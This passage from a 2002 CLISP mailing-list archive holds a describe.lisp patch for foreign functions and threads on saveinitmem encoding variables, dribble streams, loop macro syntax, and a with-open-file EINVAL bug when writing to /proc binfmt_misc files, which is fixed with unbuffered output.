ought to be. Here is a = patch. Old: # is a foreign function. Argument list: (ARG0). New: # is a foreign function of = foreign type=20 (FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE))) (:RETURN-TYPE FFI:ULONG :NONE) (:LANGUAGE :STDC)). The diff is against CLISP-2.28, not CVS. Regards, J=F6rg H=F6hle. ------_=_NextPart_000_01C1CC2B.2C7FAF30 Content-Type: application/octet-stream; name="describe-ffunction-2.28.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="describe-ffunction-2.28.patch" *** orig/describe.lisp Tue Feb 26 20:00:26 2002=0A= --- src/describe.lisp Fri Mar 15 14:49:44 2002=0A= ***************=0A= *** 161,167 ****=0A= (clos:defgeneric describe-object (obj stream)=0A= (:method ((obj t) (stream stream))=0A= (ecase (type-of obj)=0A= ! #+(or AMIGA FFI)=0A= (EXT::FOREIGN-POINTER=0A= (format stream (TEXT "a foreign pointer")))=0A= #+FFI=0A= --- 161,167 ----=0A= (clos:defgeneric describe-object (obj stream)=0A= (:method ((obj t) (stream stream))=0A= (ecase (type-of obj)=0A= ! #+(or UNIX AMIGA FFI DIR-KEY)=0A= (EXT::FOREIGN-POINTER=0A= (format stream (TEXT "a foreign pointer")))=0A= #+FFI=0A= ***************=0A= *** 171,181 ****=0A= (FFI::FOREIGN-VARIABLE=0A= (format stream (TEXT "a foreign variable of foreign type = ~S.")=0A= (deparse-c-type (sys::%record-ref obj 3))))=0A= - #+FFI=0A= - (FFI::FOREIGN-FUNCTION=0A= - (format stream (TEXT "a foreign function taking foreign types = ~:S and returning foreign type ~S.")=0A= - (map 'list #'deparse-c-type (sys::%record-ref obj = 3))=0A= - (deparse-c-type (sys::%record-ref obj 2))))=0A= (BYTE=0A= (format stream (TEXT "a byte specifier, denoting the ~S bits = starting at bit position ~S of an integer.")=0A= (byte-size obj) (byte-position obj)))=0A= --- 171,176 ----=0A= ***************=0A= *** 437,448 ****=0A= (ecase (type-of obj)=0A= #+FFI=0A= (FFI::FOREIGN-FUNCTION=0A= ! (format stream (TEXT "a foreign function."))=0A= ! (multiple-value-bind (name req opt rest-p key-p keywords = other-keys-p)=0A= ! (sys::function-signature obj)=0A= ! (declare (ignore name))=0A= ! (sys::describe-signature stream req opt rest-p key-p = keywords=0A= ! other-keys-p)))=0A= (COMPILED-FUNCTION ; SUBR=0A= (format stream (TEXT "a built-in system function."))=0A= (multiple-value-bind (name req opt rest-p keywords = other-keys)=0A= --- 432,444 ----=0A= (ecase (type-of obj)=0A= #+FFI=0A= (FFI::FOREIGN-FUNCTION=0A= ! (format stream (TEXT "a foreign function of foreign type = ~S.")=0A= ! (deparse-c-type=0A= ! (vector=0A= ! 'ffi::c-function=0A= ! (sys::%record-ref obj 2)=0A= ! (sys::%record-ref obj 3)=0A= ! (sys::%record-ref obj 4)))))=0A= (COMPILED-FUNCTION ; SUBR=0A= (format stream (TEXT "a built-in system function."))=0A= (multiple-value-bind (name req opt rest-p keywords = other-keys)=0A= ------_=_NextPart_000_01C1CC2B.2C7FAF30-- From peter.wood@worldonline.dk Sat Mar 16 19:29:41 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mRMZ-0006TA-00 for ; Sat, 16 Mar 2002 19:29:39 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 4CD9DB5D1 for ; Sun, 17 Mar 2002 04:29:35 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2H3FtT00210; Sun, 17 Mar 2002 04:15:55 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020317041555.A169@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] saveinitmem? - vars reset and dribble bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 16 19:30:03 2002 X-Original-Date: Sun, 17 Mar 2002 04:15:55 +0100 Hi On Gun/Linux, with CVS Clisp, saving a memory image does not save the value of various encoding vars, (eg *terminal-encoding*). [2]> *terminal-encoding* # [3]> (load (make-pathname :directory '(:absolute "home" "prw") :name ".clisprc")) ;; Loading file /home/prw/.clisprc ... ;; Loading of file /home/prw/.clisprc is finished. T [4]> *terminal-encoding* # [5]> (saveinitmem "testinit.mem" :quiet t) 953952 ; 524288 ;in the new memory image... [3]> *terminal-encoding* # [4]> (bye) In addition, the Clisp run with the new memory image reported that it was dribbling to the file which it had dribbled to to record the session in the original memory image. So the stream was open in the new memory image. Even if I had forgotten to stop #'dribble (which I didn't) I don't think it should do that. So that's 2 bugs (I think). Regards, Peter From peter.wood@worldonline.dk Sat Mar 16 21:54:19 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mTcX-0000Sc-00 for ; Sat, 16 Mar 2002 21:54:17 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C43BFB5B9 for ; Sun, 17 Mar 2002 06:53:33 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2H4AUC00317; Sun, 17 Mar 2002 05:10:30 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020317051030.A293@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] with-open-file bug on linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 16 21:55:02 2002 X-Original-Date: Sun, 17 Mar 2002 05:10:30 +0100 Hi I've reported this before, but I wasn't sure it was a bug in Clisp or in Linux. Now I'm sure it's in Clisp, and it is a serious bug. I'm using cvs Clisp (but the same thing happened in 2.27) on Gnu/Linux. This is what /proc/sys/fs/binfmt_misc/* looks like: total 84 -rw-r--r-- 1 root root 0 Mar 17 04:53 FAS -rw-r--r-- 1 root root 0 Mar 17 04:53 LISP -rw-r--r-- 1 root root 0 Mar 17 04:53 PL -rw-r--r-- 1 root root 0 Mar 17 04:53 PY -rw-r--r-- 1 root root 0 Mar 17 04:53 RB --w------- 1 root root 0 Mar 17 04:53 register -rw-r--r-- 1 root root 0 Mar 17 04:53 status I use the following to register, with the kernel, extensions as executable by the specified interpreter: (defun regext (ext interpreter) "EXT & INTERPRETER = lower case strings" (let ((path (parse-namestring "/proc/sys/fs/binfmt_misc/register"))) (with-open-file (str path :direction :output) (format str ":~:@(~a~):E::~a::~a:" ext ext interpreter)))) ;eg (regext "fas" "/usr/bin/clisp") registers the .fas extension as executable ; by /usr/bin/clisp with the kernel. ; you still have to (chmod 7xx xyz.fas) It works fine. The problem arises when I try to cancel or disable extensions using with-open-file *on Clisp*. This is what happens: # [2]> (with-open-file (str "/proc/sys/fs/binfmt_misc/PY" :direction :output :if-exists :overwrite) (format str "-1")) *** - UNIX error 22 (EINVAL): Invalid argument 1. Break [3]> (dribble) Quite apart from the fact that *THIS SHOULD NOT HAPPEN*, the Clisp in which I issue this call is totally trashed. Every following call results in the same Unix error. In other words, ITS BROKEN. I can work around it using libc6 #'linux:fopen, but I should NOT have to do that: (defun cancel (&optional (name nil)) "optional NAME = lower case string naming ext to remove" (if (null name) (let* ((path "/proc/sys/fs/binfmt_misc/status") (fp (linux:fopen path "w"))) (linux:fputs "-1" fp) (linux:fclose fp)) (let* ((path (format nil "/proc/sys/fs/binfmt_misc/~:@(~a~)" name)) (fp (linux:fopen path "w"))) (linux:fputs "-1" fp) (linux:fclose fp)))) ;eg (cancel "fas") removes FAS from /proc/sys/fs/binfmt_misc/ ; (cancel) removes all the registered extensions This is what it should look like, and what it looks like on CMUCL when I use the same command as the one that trashes Clisp: Starting /home/prw/cmucl/bin/lisp ... CMU Common Lisp 18c, running on localhost.localdomain Send questions and bug reports to your local CMU CL maintainer, or to cmucl-help@cons.org. and cmucl-imp@cons.org. respectively. Loaded subsystems: Python 1.0, target Intel x86 CLOS based on PCL version: September 16 92 PCL (f) * * (with-open-file (str "/proc/sys/fs/binfmt_misc/RB" :direction :output :if-exists :overwrite) (format str "-1")) NIL * (quit) Correctly removes RB from the enabled extensions. Regards, Peter From samuel.steingold@verizon.net Sun Mar 17 12:31:45 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mhJg-0003Nh-00 for ; Sun, 17 Mar 2002 12:31:45 -0800 Received: from gnu.org ([151.203.226.21]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020317203143.GPXR2959.out008.verizon.net@gnu.org>; Sun, 17 Mar 2002 14:31:43 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] saveinitmem? - vars reset and dribble bug References: <20020317041555.A169@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020317041555.A169@localhost.localdomain> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 17 12:32:03 2002 X-Original-Date: 17 Mar 2002 15:33:14 -0500 > * In message <20020317041555.A169@localhost.localdomain> > * On the subject of "[clisp-list] saveinitmem? - vars reset and dribble bug" > * Sent on Sun, 17 Mar 2002 04:15:55 +0100 > * Honorable Peter Wood writes: > > On Gun/Linux, with CVS Clisp, saving a memory image does not save the > value of various encoding vars, (eg *terminal-encoding*). I know you hate to hear this, but "this is a feature, not a bug". :-) the -encoding* are symbol macros, not variables, and they are initialized from the command line options and the environment. Yes, there might be a situation when you would prefer to save the encoding information. But this is not really safe since such an image might have problems with different terminals (which do not understand the encoding you save)... I hope Bruno will shed some light here. > In addition, the Clisp run with the new memory image reported that it > was dribbling to the file which it had dribbled to to record the > session in the original memory image. So the stream was open in the > new memory image. Even if I had forgotten to stop #'dribble (which I > didn't) I don't think it should do that. I just fixed this. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! A computer scientist is someone who fixes things that aren't broken. From dan.stanger@ieee.org Sun Mar 17 19:25:57 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mnmX-0002WH-00 for ; Sun, 17 Mar 2002 19:25:57 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16mnmV-00026W-00 for clisp-list@lists.sourceforge.net; Sun, 17 Mar 2002 20:25:55 -0700 Message-ID: <3C955E90.6DA715E@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Possible problem with loop macro Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 17 19:26:03 2002 X-Original-Date: Sun, 17 Mar 2002 20:27:12 -0700 I am trying to port some code from cmucl to clisp, and I think I have found a problem with the loop macro. In the following code the exit condition while op-fun seems to occur after the call to parse-cast-expression, which is what term-fun is bound to. Is this syntax for the loop macro correct? I think that when the macro is expanded, it produces a warning, indicating that for clauses should occur before the loops main body. I would appreciate any sugestions on this. This is with clisp 2.27 on linux. Thanks, Dan Stanger (defmacro def-expr-expression (expr-fun term-fun op-list) (let ((op-alist (mapcar #'(lambda (op) (cons (car op) (cadr op))) op-list))) `(let ((op-alist ',op-alist)) (defun ,expr-fun (lstream) (loop with result = (,term-fun lstream) for op = (look lstream) for op-fun = (cdr (assoc op op-alist)) while op-fun for term = (progn (consume lstream) (,term-fun lstream)) do (setq result (funcall op-fun *compiler-implementation* result term)) finally (return result)))))) EVAL frame for form (TAGBODY SYSTEM::BEGIN-LOOP (PROGN (PSETQ CPARSE::OP (CPARSE::LOOK CPARSE::LSTREAM)) (PSETQ CPARSE::OP-FUN (CDR (ASSOC CPARSE::OP CPARSE::OP-ALIST))) (PSETQ CPARSE::TERM (PROGN (CPARSE::CONSUME CPARSE::LSTREAM) (CPARSE::PARSE-CAST-EXPRESSION CPARSE::LSTREAM)))) (PROGN (UNLESS CPARSE::OP-FUN (GO SYSTEM::END-LOOP)) (SETQ CPARSE::RESULT (FUNCALL CPARSE::OP-FUN CPARSE::*COMPILER-IMPLEMENTATION* CPARSE::RESULT CPARSE::TERM))) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (RETURN-FROM NIL CPARSE::RESULT)) 1. Break [107]> From samuel.steingold@verizon.net Sun Mar 17 20:49:50 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mp5h-0000sN-00 for ; Sun, 17 Mar 2002 20:49:49 -0800 Received: from gnu.org ([151.203.226.21]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020318044948.KBLH7755.out009.verizon.net@gnu.org>; Sun, 17 Mar 2002 22:49:48 -0600 To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Possible problem with loop macro References: <3C955E90.6DA715E@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C955E90.6DA715E@ieee.org> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 17 20:50:06 2002 X-Original-Date: 17 Mar 2002 23:51:20 -0500 > * In message <3C955E90.6DA715E@ieee.org> > * On the subject of "[clisp-list] Possible problem with loop macro" > * Sent on Sun, 17 Mar 2002 20:27:12 -0700 > * Honorable Dan Stanger writes: > > Is this syntax for the loop macro correct? no, you cannot have "for" after "while". see the BNF in CLHS -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Don't ascribe to malice what can be adequately explained by stupidity. From samuel.steingold@verizon.net Sun Mar 17 22:00:25 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16mqC0-00054u-00 for ; Sun, 17 Mar 2002 22:00:24 -0800 Received: from gnu.org ([151.203.226.21]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020318060022.LSNX26581.out019.verizon.net@gnu.org>; Mon, 18 Mar 2002 00:00:22 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug References: <20020215191211.A225@localhost.localdomain> <20020223175001.A7074@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020223175001.A7074@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 Message-ID: Lines: 20 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 17 22:01:04 2002 X-Original-Date: 18 Mar 2002 01:01:39 -0500 > * In message <20020223175001.A7074@localhost.localdomain> > * On the subject of "Re: [clisp-list] probe-file bug" > * Sent on Sat, 23 Feb 2002 17:50:01 +0100 > * Honorable Peter Wood writes: > > On Mon, Feb 18, 2002 at 12:59:53AM -0500, Sam Steingold wrote: > > this is a feature, not a bug. > > After due reflection and experimentation, I have to say I disagree. > Maybe its not a bug. It's certainly NOT a feature. I just committed a patch which will make CLISP parse namestrings as you expect. To get the old behavior back, set *parse-namestring-dot-file* to :TYPE. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Good judgment comes from experience and experience comes from bad judgment. From samuel.steingold@verizon.net Mon Mar 18 12:27:25 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16n3j1-0000jZ-00 for ; Mon, 18 Mar 2002 12:27:23 -0800 Received: from gnu.org ([151.203.226.21]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020318202716.YHHP1518.out012.verizon.net@gnu.org>; Mon, 18 Mar 2002 14:27:16 -0600 To: Reini Urban Cc: clisp , cygwin@cygwin.com Subject: Re: [clisp-list] cygwin build fails ootb References: <3C5C72F8.13B4B79C@x-ray.at> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C5C72F8.13B4B79C@x-ray.at> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 18 12:32:05 2002 X-Original-Date: 18 Mar 2002 15:28:51 -0500 > * In message <3C5C72F8.13B4B79C@x-ray.at> > * On the subject of "[clisp-list] cygwin build fails ootb" > * Sent on Sat, 02 Feb 2002 23:15:04 +0000 > * Honorable Reini Urban writes: > > cygwin fails to build ootb with the current clisp ualarm() workaround. what about now? there have been reports that CLISP (both 2.28 & cvs) now work under cygwin. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Computers are like air conditioners: they don't work with open windows! From peter.wood@worldonline.dk Mon Mar 18 14:30:16 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16n5dt-0007ma-00 for ; Mon, 18 Mar 2002 14:30:13 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C3A1EB500 for ; Mon, 18 Mar 2002 23:30:08 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2IMGeK01839; Mon, 18 Mar 2002 23:16:40 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux Message-ID: <20020318231639.A1783@localhost.localdomain> References: <20020317051030.A293@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020317051030.A293@localhost.localdomain>; from peter.wood@worldonline.dk on Sun, Mar 17, 2002 at 05:10:30AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 18 14:31:04 2002 X-Original-Date: Mon, 18 Mar 2002 23:16:39 +0100 Hi I didn't know Clisp took a :buffered nil keyword for open. It seems this is the way to write to peculiar files like some of the ones under /proc. It fixes the problem I described in the last post. Regards, Peter From jmadams@monkeybean.dyndns.org Mon Mar 18 19:51:40 2002 Received: from pcp359151pcs.whtmrs01.md.comcast.net ([68.33.216.56] helo=monkeybean.dyndns.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nAex-0004C3-00 for ; Mon, 18 Mar 2002 19:51:39 -0800 Received: (from jmadams@localhost) by monkeybean.dyndns.org (8.11.0/8.11.0) id g2J3pYo26901; Mon, 18 Mar 2002 22:51:34 -0500 Message-Id: <200203190351.g2J3pYo26901@monkeybean.dyndns.org> From: "John M. Adams" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] walker Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 18 19:52:06 2002 X-Original-Date: Mon, 18 Mar 2002 22:51:34 -0500 I'd like to use a code walker with clisp. I've used the walker code in the CMU repository with ACL. This was easy since the required environment functions were already present in ACL. Has anyone written these for clisp? Or perhaps there is another package I should be using? I am aware of the clocc ambler but could not understand the interface it provides. I was able to use the CMU package after looking at the code for 5 minutes. Thanks very much. -- John M. Adams From dan.stanger@ieee.org Tue Mar 19 07:30:43 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nLZT-0000I0-00 for ; Tue, 19 Mar 2002 07:30:43 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16nLZQ-0005jW-00 for clisp-list@lists.sourceforge.net; Tue, 19 Mar 2002 08:30:40 -0700 Message-ID: <3C9759F4.6B156259@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Searchable archive of the clisp-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 19 07:31:21 2002 X-Original-Date: Tue, 19 Mar 2002 08:32:05 -0700 Is there a searchable archive of the clisp-list? If so, could someone point me to a url? Also, is there a temporary file function in clisp? A function which would create a tempory file, which might be deleted on close, or it might return a stream. Thanks, Dan Stanger From peter.wood@worldonline.dk Tue Mar 19 11:01:01 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nOqy-0006pX-00 for ; Tue, 19 Mar 2002 11:01:00 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id DC794B5A6 for ; Tue, 19 Mar 2002 19:59:32 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2JIjPr00251; Tue, 19 Mar 2002 19:45:25 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] with-open-file bug on linux Message-ID: <20020319194525.A150@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Mar 19, 2002 at 10:51:04AM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 19 11:01:09 2002 X-Original-Date: Tue, 19 Mar 2002 19:45:25 +0100 On Tue, Mar 19, 2002 at 10:51:04AM -0500, Sam Steingold wrote: > CLISP has to open with O_RDWR to use buffering, so :DIRECTION :OUTPUT > means O_RDWR too. This breaks write-only files, like Peter's /proc > file. > > I guess we should document "the obvious" - that one cannot use > buffering on write-only files - and use O_WRONLY with :BUFFERED NIL > :DIRECTION :OUTPUT. > But the file isn't write only! You *can* read from it. ls -l /proc/sys/fs/binfmt_misc/PY ==> -rw-r--r-- 1 root root 0 Mar 19 18:32 /proc/sys/fs/binfmt_misc/PY cat /proc/sys/fs/binfmt_misc/PY ==> enabled interpreter /usr/bin/python extension .py I *speculate* as follows: You can write() to it, but you have to do it all in one go (I think). I believe full_write() [unixaux.d:301] is causing EINVAL, because it tries to write() several times. The kernel which is generating the content of the file, won't let you write anything but "-1" or "1" or "0". You can't write "-" then "1". And you can't write "+1" either. This test results in the following output: { int retv; int fd; char* msg1 = "11"; fd = open("/proc/sys/fs/binfmt_misc/PY", 66, 420); retv = write (fd, msg1, 2); printf ("retv = %d\n", retv); printf ("errno is %d\n", errno); printf ("fsync returns %d - errno = %d\n", fsync (fd), errno); return(0); } ==> retv = -1 errno is 22 fsync returns -1 - errno = 22 Changing msg1="11" to msg1="-1" results in this output: retv = 2 errno is 0 fsync returns -1 - errno = 0 Which works. Obviously fsync is superfluous, here, but I'm surprised it doesn't also set EINVAL in the second example. Regards, Peter From peter.wood@worldonline.dk Tue Mar 19 11:13:53 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nP3P-0001Cb-00 for ; Tue, 19 Mar 2002 11:13:51 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 970FBB6CC for ; Tue, 19 Mar 2002 20:12:28 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2JJ00Z00329; Tue, 19 Mar 2002 20:00:00 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux Message-ID: <20020319200000.A257@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Tue, Mar 19, 2002 at 09:42:36AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 19 11:14:06 2002 X-Original-Date: Tue, 19 Mar 2002 20:00:00 +0100 On Tue, Mar 19, 2002 at 09:42:36AM +0100, Hoehle, Joerg-Cyril wrote: > Hi, > > > I didn't know Clisp took a :buffered nil keyword for open. It seems > > this is the way to write to peculiar files like some of the ones under > > /proc. It fixes the problem I described in the last post. > > Do you know enough about Linux to enhance the heuristics that CLISP uses to discover whether to use buffering? There already was a changelog years ago saying something like "works better on /proc now". > > Another solution (hack?) would be to special-case /proc completely on Linux?? Not clean, though. Special case /dev as well? And what next? > > Regards, > Jorg Hohle. Hi There are already a few special-cases for /proc in pathname.d, including one with a comment about /proc being a zoo filled with strange animals :-) I don't know if its possible to test a file for wether it will support buffering io. Also, there's nothing to stop the kernel developers from dreaming up some new bizarre file in /proc which allows x but not y. It might be fun to try write an ffi definition for sysctl, but they warn that it changes between kernels, and shouldn't be used by applications :-( Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 19 11:15:11 2002 Received: from mail1.telekom.de 